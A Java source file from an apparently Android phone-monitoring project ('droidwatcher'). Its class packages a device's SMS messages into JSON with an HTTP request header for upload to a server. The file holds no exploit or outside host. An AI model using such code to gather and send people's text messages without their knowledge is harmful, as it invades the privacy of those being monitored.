package com.droidwatcher.variables;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.JsonEntity.SMSJsonObj;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.SMS;
import com.droidwatcher.util.AXLog;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by Administrator on 2018/1/24.
 */

public class SMSServerMsg implements IServerMessage {
    public MessageType type;
    ArrayList<IMessageBody> body ;

    @Override
    public MessageType getType() {
            return type;
    }

    public SMSServerMsg(MessageType type,ArrayList<IMessageBody> body){
        this.type = type ;
        this.body = body;
    }


    @Override
    public String getJSONString() {
        AXLog.e("wzytest","run in Smssever getJSONString");
        List<SMS> list = new ArrayList<>();
        SMSJsonObj obj = new SMSJsonObj() ;
        obj.setHead(new HttpRequestHead());
//        for(IMessageBody iMessageBody:body){
//            SMS sms = (SMS) iMessageBody;
//            list.add(sms);
//            AXLog.e("wzytest","sms body:"+sms);
//        }

        SMSJsonObj.Data data = new SMSJsonObj.Data();
        data.setSmsList(body);
        obj.setData(data);
        //obj.setHead(new HttpRequestHead());
//        obj.setSmsList(list);
        return JSON.toJSONString(obj);

    }

}
